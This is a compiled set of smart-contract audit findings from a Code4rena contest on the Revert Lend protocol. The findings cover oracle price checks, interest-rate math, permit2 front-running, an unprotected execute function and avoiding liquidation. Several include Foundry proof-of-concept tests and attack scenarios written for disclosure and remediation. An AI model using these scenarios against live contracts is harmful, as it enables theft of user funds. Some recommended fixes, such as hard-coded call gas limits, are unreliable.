https://docs.uniswap.org/contracts/v3/guides/flash-integrations/flash-callback

    function uniswapV3FlashCallback(
        uint256 fee0,
        uint256 fee1,
        bytes calldata data
    ) external override {
        FlashCallbackData memory decoded = abi.decode(data, (FlashCallbackData));
==>     CallbackValidation.verifyCallback(factory, decoded.poolKey);

Tools Used

Manual Review

Recommended Mitigation Steps

Use the CallbackValidaion library's verifyCallback function.

Assessed type

Uniswap

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/V3Oracle.sol#L143-L145

Vulnerability details

Impact

Asymmetric calculation of price difference

Proof of Concept

Price difference is calculated in 2 ways depending on whether price > verified price or not.

If price > verified price, this is the equation.

(price - verified price) / price

Otherwise price is calculated with this equation

(verified price - price) / verified price

When the 2 equations above are graphed with price = horizontal axis,
we get 2 different curves.

https://www.desmos.com/calculator/nixha3ojz6

The first equation produces a asymptotic curve. (shown in red)
The second equation produces a linear curve. (shown in green)
Therefore the rate at which the price difference changes is different depending on whether price > verified price or not.

Example

Price difference of +1 or -1 from verified price are not symmetric

# p < v
v = 2
p = 1
d = (v - p) / v
print(d)
# output is 0.5

# p > v
v = 2
p = 3
d = (p - v) / p
print(d)
# output is 0.33333

Tools Used

Manual review, desmos graphing calculator and python

Recommended Mitigation Steps

Use a different equation to check price difference (shown in blue)

|price - verified price| / verified price <= max difference

Assuming verifyPriceX96 > 0

        uint256 diff = priceX96 >= verifyPriceX96
            ? (priceX96 - verifyPriceX96) * 10000
            : (verifyPriceX96 - priceX96) * 10000;
        
        require(diff / verifyPriceX96 <= maxDifferenceX1000)

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/automators/Automator.sol#L130
https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/automators/Automator.sol#L221

Vulnerability details

Impact

The concerns raised about the "Calls Without Gas Budget" vulnerabilities, particularly on lines 130 and 221 of the Automator contract, are significant. When specifying gas limits for external calls (especially after EIP-2929), it's important to consider these increased costs. The 2300 gas stipend might be enough for a plain ether transfer, but any operation beyond that, especially those involving state changes, may require more gas.

Proof of Concept

Call Without Gas Budget
Line 130 (withdrawETH function): This line uses a .call{value: balance}("") to send ETH to an address. Using .call without specifying a gas limit ({gas: }) means that all remaining gas will be forwarded to the called contract. This is generally discouraged, as it can lead to vulnerabilities, especially if the recipient is a contract that could perform arbitrary actions in its fallback function.

// line 130
(bool sent,) = to.call{value: balance}("");
if (!sent) {
revert EtherSendFailed();
}

To mitigate the risk, consider specifying a gas limit for operations for plain ETH transfers.

Line 221 (_transferToken function): Similar to the withdrawETH function, this function contains a .call without a gas limit when unwrapping WETH to ETH. The same recommendations apply here to mitigate potential risks associated with forwarding all remaining gas.

// line 221
(bool sent,) = to.call{value: amount}("");
if (!sent) {
revert EtherSendFailed();
}

Tools Used

VS code and Oylmpix app

Recommended Mitigation Steps

To address the "Call Without Gas Budget" vulnerabilities in the Automator contract, we'll adjust the external calls to include specific gas limits. This approach mitigates risks associated with unbounded gas usage and helps ensure that the calls do not inadvertently consume all available gas, potentially leaving the contract in an undesirable state or vulnerable to denial of service (DoS) attacks.

Modifying Calls to Include Gas Limits

1. For the withdrawETH function:
   Original line without gas limit:

// line 130
(bool sent,) = to.call{value: balance}("");
Modified to include a gas limit:

// Assuming 10000 gas is sufficient for a plain transfer
(bool sent,) = to.call{value: balance, gas: 10000}("");

2. For the _transferToken function:
   Original line without gas limit in the WETH unwrapping section:

(bool sent,) = to.call{value: amount}("");
Modified to include a gas limit:

// Again, assuming 10000 gas is sufficient for a plain ETH transfer
(bool sent,) = to.call{value: amount, gas: 10000}("");

Note:
Explanation of EIP-2929 and Its Impact on Gas Fees
EIP-2929: "Gas cost increases for state access opcodes" was introduced to mitigate certain DoS attack vectors against the Ethereum network. Prior to EIP-2929, the gas costs for state access operations (like SLOAD, CALL, CALLCODE, DELEGATECALL, and STATICCALL) were relatively low, which could potentially be exploited in DoS attacks that target the Ethereum state.

The key changes introduced by EIP-2929 are:

1. Increased Gas Costs: The first access to a specific address or storage slot costs more gas than subsequent accesses. This initial access cost is significantly higher, designed to deter spamming attacks that aim to bloat the blockchain and exhaust node resources.

2. Warm-up Concept: After the first "cold" access, any subsequent accesses to the same address or storage slot within the same transaction are considered "warm" and cost less gas. This approach aims to balance the need for security with the practicality of contract execution that requires multiple reads/writes.

Impact on Gas Fees:

1. Increased Execution Cost: Contracts that frequently access state variables or perform external calls may see an increase in their transaction execution cost. This is especially true for operations that touch many unique addresses or storage slots for the first time within a transaction.
2. Optimization Becomes Crucial: Developers are encouraged to optimize their contracts by minimizing unnecessary state accesses and organizing logic to take advantage of the "warm-up" effect whenever possible.

Why This Matters for Adding Gas Limits:

1. When specifying gas limits for external calls (especially after EIP-2929), it's important to consider these increased costs. The 2300 gas stipend might be enough for a plain ether transfer, but any operation beyond that, especially those involving state changes, may require more gas.

Developers must carefully assess the operations being called and provide adequate gas to ensure successful execution, particularly in light of EIP-2929's impact.
By adding explicit gas limits to external calls and understanding the effects of EIP-2929, developers can write safer, more efficient contracts that are less susceptible to unexpected failures and potential security vulnerabilities.

Assessed type

DoS

Lines of code

337

Vulnerability details

Chainlink aggregators have a built-in circuit breaker if the price of an asset goes outside of a predetermined price band.

The result is that if an asset experiences a huge drop in value (i.e. LUNA crash) the price of the oracle will continue to return the minPrice instead of the actual price of the asset.

This would allow users to continue borrowing with the asset but at the wrong price. This is exactly what happened to Venus on BSC when LUNA crashed.

File: src/V3Oracle.sol

// @audit missing min/max price check
337: 		        (, int256 answer,, uint256 updatedAt,) = feedConfig.feed.latestRoundData();

Assessed type

other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L304-L305

Vulnerability details

Impact

V3Oracle._getReferenceTokenPriceX96 reverts, not able to return a price

Proof of Concept

chainlinkPriceX96 is calculated by the following code.

chainlinkPriceX96 = (10 ** referenceTokenDecimals) * chainlinkPriceX96 * Q96 / chainlinkReferencePriceX96
                / (10 ** feedConfig.tokenDecimals);

The numerator can overflow when reference token has 18 decimals.

Math

        10 ** 18 * chainlinkPriceX96 * Q96 <= 2**256
        10 ** 18 * chain link price * Q96 * Q96 <= 2**256
        10 ** 18 * chain link price <= 2**(256 - 2 * 96)
        chain link price <= 2 ** 64 / 10 ** 18 <= 19

This shows that if reference token has 18 decimals, the price oracle can only return a price if the token price is <= 19

Second test fails. It uses DAI (which has 18 decimals) as a reference token

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import {Test, console} from "forge-std/Test.sol";

// forge test --fork-url $FORK_URL --match-path test/dev.sol -vvv
contract V3OracleTest is Test {
    uint256 constant Q96 = 2 ** 96;
    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant CHAINLINK_USDC_USD =
        0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;
    address constant CHAINLINK_DAI_USD =
        0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9;
    address constant CHAINLINK_ETH_USD =
        0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;

    mapping(address => address) private feeds;

    function setUp() public {
        feeds[USDC] = CHAINLINK_USDC_USD;
        feeds[DAI] = CHAINLINK_DAI_USD;
        feeds[WETH] = CHAINLINK_ETH_USD;
    }

    function test() public {
        uint256 price = get(WETH, 18, USDC, 6);
        console.log("price", price);
    }

    function testFail() public {
        // price overflows
        uint256 price = get(WETH, 18, DAI, 18);
        console.log("price", price);
    }

    function get(
        address token,
        uint256 tokenDecimals,
        address referenceToken,
        uint256 referenceTokenDecimals
    ) public view returns (uint256) {
        uint256 chainlinkPriceX96 = _getChainlinkPriceX96(token, referenceToken);
        uint256 chainlinkReferencePriceX96 =
            _getChainlinkPriceX96(referenceToken, referenceToken);

        // console.log("chainlink price", chainlinkPriceX96 / Q96);
        // console.log("ref price", chainlinkReferencePriceX96 / Q96);

        // 10 ** 18 * chain link price * Q96 * Q96 <= 2**256
        // 10 ** 18 * chain link price <= 2**(256 - 2 * 96)
        // chain link price <= 2 ** 64 / 10 ** 18 <= 19
        chainlinkPriceX96 = (10 ** referenceTokenDecimals) * chainlinkPriceX96
            * Q96 / chainlinkReferencePriceX96 / (10 ** tokenDecimals);

        return chainlinkPriceX96;
    }

    function _getChainlinkPriceX96(address token, address referenceToken)
        internal
        view
        returns (uint256)
    {
        if (token == referenceToken) {
            return Q96;
        }

        (, int256 answer,, uint256 updatedAt,) =
            AggregatorV3Interface(feeds[token]).latestRoundData();
        require(answer >= 0, "answer < 0");

        // ETH, USDC, DAI all have 8 decimals
        return uint256(answer) * Q96 / (10 ** 8);
    }
}

interface AggregatorV3Interface {
    function latestRoundData()
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );

    function decimals() external view returns (uint8);
}

Tools Used

Manual review, Foundry, python

Recommended Mitigation Steps

Rearrange multiplications and divisions. This will make the price less accurate.

        if (referenceTokenDecimals >= tokenDecimals) {
            chainlinkPriceX96 = chainlinkPriceX96 * Q96 / chainlinkReferencePriceX96 * (10 ** (referenceTokenDecimals - tokenDecimals))
        } else {
            chainlinkPriceX96 = chainlinkPriceX96 * Q96 / chainlinkReferencePriceX96 / (10 ** (tokenDecimals - referenceTokenDecimals))
        }

Assessed type

Math

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L366

Vulnerability details

Impact

The ERC721 standard states that the onERC721Received callback must be called when a mint or transfer operation occurs. However, the smart contracts interacting as users of the Revert Vault or the NonfungiblePositionManager contracts (from Uniswap) will not be notified with the onERC721Received callback, as expected according to the ERC721 standard.

Description

Here is a similar finding which describes the vulnerability
https://solodit.xyz/issues/onerc721received-callback-is-never-called-when-new-tokens-are-minted-or-transferred-trailofbits-opyn-pdf

Tools Used

Manual Review

Recommended Mitigation Steps

Not realy sure myself about this, but for short-term Maybe add a function check after the transfer & mint functions

  // Check if the receiving contract supports ERC721
        if (_isContract(_account)) {
            // Call onERC721Received function on the receiving contract
            require(
                IERC721Receiver(_account).onERC721Received(msg.sender, tokenId, ""),
                "Transfer to non ERC721Receiver"
            );
        }

Or see the link above for the Long-term mitigation

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L342

Vulnerability details

Vulnerability details

Bug Description

The vulnerability and impact is similar to assymetry issue 31 where the price returned had missing circuit breaker checks for Chainlink's price feed. The oracle.getValue() function relies on a Chainlink oracle to fetch the token price when in chainlink mode:
V3Oracle.sol#L342

    function _getChainlinkPriceX96(address token) internal view returns (uint256) {
        if (token == chainlinkReferenceToken) {
            return Q96;
        }

        TokenConfig memory feedConfig = feedConfigs[token];

        // if stale data - revert
        (, int256 answer,, uint256 updatedAt,) = feedConfig.feed.latestRoundData();
        if (updatedAt + feedConfig.maxFeedAge < block.timestamp || answer < 0) {
            revert ChainlinkPriceError();
        }

        return uint256(answer) * Q96 / (10 ** feedConfig.feedDecimals);
    }

The return values from latestRoundData() are validated as such:
V3Oracle.sol#L310

        if (usesChainlink) {
            uint256 chainlinkPriceX96 = _getChainlinkPriceX96(token);
            chainlinkReferencePriceX96 = cachedChainlinkReferencePriceX96 == 0
                ? _getChainlinkPriceX96(referenceToken)
                : cachedChainlinkReferencePriceX96;

            chainlinkPriceX96 = (10 ** referenceTokenDecimals) * chainlinkPriceX96 * Q96 / chainlinkReferencePriceX96
                / (10 ** feedConfig.tokenDecimals);

            if (feedConfig.mode == Mode.TWAP_CHAINLINK_VERIFY) {
                verifyPriceX96 = chainlinkPriceX96;
            } else {
                priceX96 = chainlinkPriceX96;
            }
        }

As seen from above, there is no check to ensure that the answer does not go below or above a certain price.

Chainlink aggregators have a built in circuit breaker if the price of an asset goes outside of a predetermined price band.

Therefore, if the tokens experiences a huge drop/rise in value, the price feed will continue to return minAnswer/maxAnswer instead of the actual token price.

This becomes problematic as the oracle.getValue() is used to determine if loans are healthy:
V3Vault.sol#L703

            _checkLoanIsHealthy(params.tokenId, state.debt);
        if (state.isHealthy) {
            revert NotLiquidatable();
        }

Furthermore, the returned price is used to determine if the loan is healthy whenever users call loanInfo():
V3Vault.sol#L248

    function loanInfo(uint256 tokenId)
        external
        view
        override
        returns (
            uint256 debt,
            uint256 fullValue,
            uint256 collateralValue,
            uint256 liquidationCost,
            uint256 liquidationValue
        )
    {
        (uint256 newDebtExchangeRateX96,) = _calculateGlobalInterest();

        debt = _convertToAssets(loans[tokenId].debtShares, newDebtExchangeRateX96, Math.Rounding.Up);

        bool isHealthy;
        (isHealthy, fullValue, collateralValue,) = _checkLoanIsHealthy(tokenId, debt);

        if (!isHealthy) {
            (liquidationValue, liquidationCost,) = _calculateLiquidation(debt, fullValue, collateralValue);
        }
    }

It is also used during transform() to check if the loan is healthy. V3Vault.sol#L540

Impact

Due to Chainlink's in-built circuit breaker mechanism, if the tokens used experiences a flash crash, oracle.getValue() will return a price higher than the actual price. Should this occur, this could lead to the liquidation of a healthy position or the accumulation of bad debt, depending on the returned price.
This would lead to a loss of funds for users, as their healthy loans could get liquidated.

Recommended Mitigation

Consider validating that the price returned by Chainlink's price feed does not go below/above a minimum/maximum price. This ensures that an incorrect price will never be used should the token experience a flash crash, thereby protecting the funds of users.

Assessed type

Oracle

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/InterestRateModel.sol#L88-L91
https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/InterestRateModel.sol#L71

Vulnerability details

Impact

Users can borrow at lower rate above the kink if jumpMultiplierPerSecondX96 < multiplierPerSecondX96

Proof of Concept

Here is the math.

When utilization rate is above the kink, the borrow rate minus baseRatePerSecondX96 is

 (utilizationRateX96 - kinkX96) * jumpMultiplierPerSecondX96 / Q96 + kinkX96 * multiplierPerSecondX96 / Q96

If jumpMultiplierPerSecondX96 < multiplierPerSecondX96

(utilizationRateX96 - kinkX96) * jumpMultiplierPerSecondX96 / Q96 + kinkX96 * multiplierPerSecondX96 / Q96

is less than

(utilizationRateX96 - kinkX96) * multiplierPerSecondX96 / Q96 + kinkX96 * multiplierPerSecondX96 / Q96

= utilizationRateX96 * multiplierPerSecondX96 / Q96

This shows that above the kink, user can borrow for less than normal rate.

https://github.com/code-423n4/2024-03-revert-lend/blob/457230945a49878eefdc1001796b10638c1e7584/src/InterestRateModel.sol#L69-L71

Tools Used

Manual review

Recommended Mitigation Steps

Require jumpMultiplierPerSecondX96 >= multiplierPerSecondX96 inside the function setValues

Assessed type

Math

See the markdown file with the details of this report here.

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L685-L757

Vulnerability details

Impact

When users repay a loan the dailyDebtIncreaseLimitLeft is increased so that the others can borrow new loans ( as it is still under dailyDebtIncreaseLimitLeft ) however, when the loan is liquidated although someone is repaying his debt, dailyDebtIncreaseLimitLeft is not being increased so that, users will not be able to borrow although there is a left amount in dailyDebtIncreaseLimitLeft to be borrowed.

Proof of Concept

function testliquidateUser() public {
    _setupBasicLoan(true);
    assertEq(vault.dailyDebtIncreaseLimitLeft(), 3152794);
    (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);

    (uint256 debt,,, uint256 liquidationCost, uint256 liquidationValue) = vault.loanInfo(TEST_NFT);

    vm.warp(block.timestamp + 7 days);

    (debt, fullValue, collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);

    vm.prank(WHALE_ACCOUNT);
    USDC.approve(address(vault), liquidationCost - 1);

    (uint256 debtShares) = vault.loans(TEST_NFT);

    vm.prank(WHALE_ACCOUNT);
    USDC.approve(address(vault), liquidationCost);

    assertEq(vault.dailyDebtIncreaseLimitLeft(), 3152794);

    vm.prank(WHALE_ACCOUNT);
    vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));

    assertEq(vault.dailyDebtIncreaseLimitLeft(), 3152794);
}

Tools Used

VSCODE

Recommended Mitigation Steps

Adjust the dailyDebtIncreaseLimitLeft when liquidation.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L278
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L106-L117

Vulnerability details

Impact

Cache of Chainlink reference price cachedChainlinkReferencePriceX96 is reset to 0. In some cases, Chainlink price is fetched multiple times.

Proof of Concept

For example token1 is reference token and token is neither token0 nor token1.

        // This caches Chainlink price
        (price0X96, cachedChainlinkReferencePriceX96) =
            _getReferenceTokenPriceX96(token0, cachedChainlinkReferencePriceX96);
        // This resets cache to 0
        (price1X96, cachedChainlinkReferencePriceX96) =
            _getReferenceTokenPriceX96(token1, cachedChainlinkReferencePriceX96);

        uint256 priceTokenX96;
        if (token0 == token) {
            priceTokenX96 = price0X96;
        } else if (token1 == token) {
            priceTokenX96 = price1X96;
        } else {
            // This gets Chainlink price again
            (priceTokenX96,) = _getReferenceTokenPriceX96(token, cachedChainlinkReferencePriceX96);
        }

Tools Used

Manual review

Recommended Mitigation Steps

Return cached reference price

        if (token == referenceToken) {
            return (Q96, cachedChainlinkReferencePriceX96);
        }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1303-L1314

Vulnerability details

Impact

Loan owners can approve users to call the transform function to other users on their position. This approval is not deleted when the loan is settled (repaid or liquidated), and the owner won't be able to revoke that approval after settlement as the transaction will revert with an Unauthorized error. So this approval will remain there, and if the owner takes another loan using the same token that previously approved user will still have access to call the transform function, even if the owner didn't explicitly give access to the new loan.

Proof of Concept

function testNotClearingTransformersApprovalOnRepay() public {
    vault.setLimits(1e6, 150e6, 150e6, 150e6, 150e6);

    vm.startPrank(WHALE_ACCOUNT);
    USDC.approve(address(vault), type(uint256).max);
    vault.deposit(100e6, WHALE_ACCOUNT);
    vm.stopPrank();

    address USER_1 = TEST_NFT_ACCOUNT;
    uint256 USER_1_NFT = TEST_NFT;

    address USER_2 = makeAddr("USER_2");

    // User deposits collateral
    vm.startPrank(USER_1);
    NPM.approve(address(vault), USER_1_NFT);
    vault.create(USER_1_NFT, USER_1);
    vm.stopPrank();

    uint256 amount = 5e6;

    vm.startPrank(USER_1);
    // User takes a loan
    vault.borrow(USER_1_NFT, amount);
    // User approves USER_2 to call transform on his position
    vault.approveTransform(USER_1_NFT, USER_2, true);
    vm.stopPrank();

    assertTrue(vault.transformApprovals(USER_1, USER_1_NFT, USER_2));

    vm.warp(block.timestamp + 1 days);

    // User repays the loan
    vm.startPrank(USER_1);
    USDC.approve(address(vault), type(uint256).max);
    vault.repay(USER_1_NFT, amount, true);
    vm.stopPrank();

    // Approval is still there and not cleared
    assertTrue(vault.transformApprovals(USER_1, USER_1_NFT, USER_2));

    // User can't remove the stuck approval
    vm.prank(USER_1);
    vm.expectRevert(IErrors.Unauthorized.selector);
    vault.approveTransform(USER_1_NFT, USER_2, false);
}

Tools Used

Manual review

Recommended Mitigation Steps

Clear the loan's approval in V3Vault::_removeTokenFromOwner.

Assessed type

Error

Lines of code

337

Vulnerability details

Using Chainlink in L2 chains such as Arbitrum requires to check if the sequencer is down to avoid prices from looking like they are fresh although they are not.

The bug could be leveraged by malicious actors to take advantage of the sequencer downtime.

File: src/V3Oracle.sol

// @audit missing sequencer uptime, grace period checks
337: 		        (, int256 answer,, uint256 updatedAt,) = feedConfig.feed.latestRoundData();

Assessed type

other

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L896-L898

Vulnerability details

Impact

The protocol utilizes the permit2 contract of Uniswap to enhance user experience and token management, but it does not support EIP-2612. Users who have granted allowance to the corresponding token for the permit2 contract can sign transactions for a specific token amount that contract X can transfer to itself. In certain scenarios, front-running permit transactions may not pose a problem. However, if there are significant state changes (such as issuing shares in exchange for assets), this could have a substantial impact. This is because the victim's tokens would be transferred to the contract, but they would not receive shares, as the front-runner has already utilized the nonce by calling only permit2.permitTransferFrom(permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), msg.sender, signature);. The original transaction would revert, encountering this line:
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L896-L898

The same problem arises if user tries to repay a loan with permitData, or liquidate another user. If attacker front-run permit2.permitTransferFrom(), funds would be transferred, but, his debt won't be reduced. Malicious lenders can use that.

For a detailed analysis of the problem, refer to the article by Trust Security:
https://www.trust-security.xyz/post/permission-denied
Result: Loss of funds for the victim.

Proof of Concept

Imagine the following scenario:

1. Alice has approved Permit2 for token USDT, because she uses it a lot.
2. She see that the protocol support deposits with permit2 signatures and decide to use it.
3. Alice submits transaction deposit with permit signature to transfer 1000 USDT to V3Vault.
4. Eve sees the transaction in mempool and decides she want to act malicious and she submit transaction with higher gas price to permit2.permitTransferFrom( permit, ISignatureTransfer.SignatureTransferDetails(address(this), assets), {aliceAddress}, signature ); using the signature in mempool
5. 1000 tokens from Alice balance are transferred to the vault, but she didn't recieved any shares, because original dposit transaction has reverted, because the nonce has been used
6. Those 1000 USDT are locked in the vault and cannot be withdrawn, because shares are not dependant on total value locked inside the contract.

Tools Used

Manual Review

Recommended Mitigation Steps

I am not sure what is the best solution here. Maybe the safest mitigation is to remove the functionallity of permit2, because it is not possible to check whether someone has frontrunned the tx and if so, only mint...

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/transformers/V3Utils.sol#L98

Vulnerability details

Impact

Malicious users can change other user's position by calling execute in V3Utils.sol and earn tokens - High severity

Proof of Concept

Consider the following scenario:

1. Alice calls executeWithPermit and makes a change in her position. This function approves the V3Utils contract to her position NFT, however this approval is not reset after execution.
2. Bob is a malicious user and sees Alices transaction. He knows that the V3Utils contract is now approved her NFT.
3. Bob calls execute, passing Alice's tokenId. With instructions to decrease liquidity and withdraw and collect the tokens, from the decrease.
   As a result Bob earned tokens by changing Alice's position.

The execute function in V3Utils.sol does not have any access control so any approved tokens to the V3Utils contract are put in danger.

Tools Used

Manual Review

Recommended Mitigation Steps

Access control should be added to the execute function in V3Utils.

Assessed type

ERC721

Agreements

If you are a C4 Certified Contributor by commenting or interacting with this repo prior to public release of the contest report, you agree that you have read the Certified Warden docs and agree to be bound by:

• C4 Certified Contributor Terms and Conditions,
• C4 Code of Professional Conduct, and
• the disclosure guidelines below.

To signal your agreement to these terms, add a 👍 emoji to this issue.

Code4rena staff reserves the right to disqualify anyone from this role and similar future opportunities who is unable to participate within the above guidelines.

Disclosures

Sponsors may elect to add team members and contractors to assist in sponsor review and triage. All sponsor representatives added to the repo should comment on this issue to identify themselves.

To ensure contest integrity, the following potential conflicts of interest should also be disclosed with a comment in this issue:

1. any sponsor staff or sponsor contractors who are also participating as wardens
2. any wardens hired to assist with sponsor review (and thus presenting sponsor viewpoint on findings)
3. any wardens who have a relationship with a judge that would typically fall in the category of potential conflict of interest (family, employer, business partner, etc)
4. any other case where someone might reasonably infer a possible conflict of interest.

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L201

Vulnerability details

Impact

Given recent discrepancies between Chainlink feed prices and the market prices observed on Uniswap, the contract owner decides to introduce a maxDifference safety margin for the reference token to safeguard against significant price feed deviations.

The contract disregards the specified maxDifference for the reference token, setting it to 0. This action removes the intended safety margin, potentially exposing the contract to risks from price feed discrepancies that the owner sought to mitigate.

Again assume the contract owner wants to configure the reference token to use a TWAP mode due to recent volatility in Chainlink prices and believes TWAP would provide a more stable price feed. They call setTokenConfig with the reference token address, specifying Mode.TWAP and a maxDifference value they've carefully considered.

Despite the owner's explicit intention, the contract overrides their choice, setting the mode to Mode.CHAINLINK with a maxDifference of 0. This could lead to reliance on potentially volatile Chainlink prices, contrary to the owner's strategy to mitigate price volatility.

Proof of Concept

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L201C5-L244C6

Tools Used

Manual Review

Recommended Mitigation Steps

Introduce a mechanism to allow more flexibility in configuring the reference token, possibly with additional safeguards or validation checks to prevent misconfiguration.

Assessed type

Context

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/main/src/V3Vault.sol#L1083

Vulnerability details

Impact

When the price of user collateral drop,the user's position can be liquidated by the first user who invoke liquidate.
However protocol use safeTransferFrom which first check if owner is an contract,if it do then invoke onERC721Received and check the return vault.
User can move the owner of position to an contract which doesn't implement the onERC721Received function.Thus to avoid position been liquidated.

Proof of Concept

modify _setupBasicLoan set the owner of position to address(this)

@@ -117,7 +121,7 @@ contract V3VaultIntegrationTest is Test {
         vm.prank(TEST_NFT_ACCOUNT);
         NPM.approve(address(vault), TEST_NFT);
         vm.prank(TEST_NFT_ACCOUNT);
-        vault.create(TEST_NFT, TEST_NFT_ACCOUNT);
+        vault.create(TEST_NFT, address(this));
 
         (, uint256 fullValue, uint256 collateralValue,,) = vault.loanInfo(TEST_NFT);
         assertEq(collateralValue, 8847206);
@@ -125,7 +129,7 @@ contract V3VaultIntegrationTest is Test {
 
         if (borrowMax) {
             // borrow max
-            vm.prank(TEST_NFT_ACCOUNT);
+            vm.prank(address(this));
             vault.borrow(TEST_NFT, collateralValue);
         }
     }

run test

forge test --mt testLiquidationWithFlashloan -vvv

output:

81811497356609130068721755343759542 [3.757e39], 3782973226927107867482787903 [3.782e27], 0, 0
    │   │   │   │   ├─ [79674] 0xC36442b4a4522E871399CD717aBDD847Ab11FE88::safeTransferFrom(V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], V3VaultIntegrationTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 126)
    │   │   │   │   │   ├─ emit Approval(owner: V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], approved: 0x0000000000000000000000000000000000000000, tokenId: 126)
    │   │   │   │   │   ├─ emit Transfer(from: V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], to: V3VaultIntegrationTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], tokenId: 126)
    │   │   │   │   │   ├─ [259] V3VaultIntegrationTest::onERC721Received(V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], V3Vault: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 126, 0x)
    │   │   │   │   │   │   └─ ← EvmError: Revert
    │   │   │   │   │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    │   │   │   │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    │   │   │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    │   │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    │   └─ ← revert: ERC721: transfer to non ERC721Receiver implementer
    └─ ← Error != expected error: ERC721: transfer to non ERC721Receiver implementer != 0xc9d2c178

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 981.20ms (15.55ms CPU time)

Ran 1 test suite in 1.68s (981.20ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/integration/V3Vault.t.sol:V3VaultIntegrationTest
[FAIL. Reason: Error != expected error: ERC721: transfer to non ERC721Receiver implementer != 0xc9d2c178] testLiquidationWithFlashloan() (gas: 3004608)

Tools Used

Recommended Mitigation Steps

@@ -1080,7 +1086,7 @@ contract V3Vault is ERC20, Multicall, Ownable, IVault, IERC721Receiver, IErrors
         _removeTokenFromOwner(owner, tokenId);
         _updateAndCheckCollateral(tokenId, debtExchangeRateX96, lendExchangeRateX96, loans[tokenId].debtShares, 0);
         delete loans[tokenId];
-        nonfungiblePositionManager.safeTransferFrom(address(this), owner, tokenId);
+        nonfungiblePositionManager.transferFrom(address(this), owner, tokenId);//@audit not allowed.
         emit Remove(tokenId, owner);
     }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L310

Vulnerability details

Impact

Liquidations could use price data from an invalid Chainlink response. The impact is similar to assymetry issue 36 where the price implementation used a potentially invalid Chainlink response. Here, liquidations could use price data from an invalid Chainlink response when in chainlink mode.

Vulnerability details

Summary

The health factor of a loan is determined by taking the token id and the liquidation state. This value is then fetched using Chainlink (if the oracle is in chainlink mode) in the getValue() function which calls _getReferenceTokenPriceX96() :
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Oracle.sol#L310

        bool usesChainlink = (
            feedConfig.mode == Mode.CHAINLINK_TWAP_VERIFY || feedConfig.mode == Mode.TWAP_CHAINLINK_VERIFY
                || feedConfig.mode == Mode.CHAINLINK
        );
        bool usesTWAP = (
            feedConfig.mode == Mode.CHAINLINK_TWAP_VERIFY || feedConfig.mode == Mode.TWAP_CHAINLINK_VERIFY
                || feedConfig.mode == Mode.TWAP
        );

        if (usesChainlink) {
            uint256 chainlinkPriceX96 = _getChainlinkPriceX96(token);
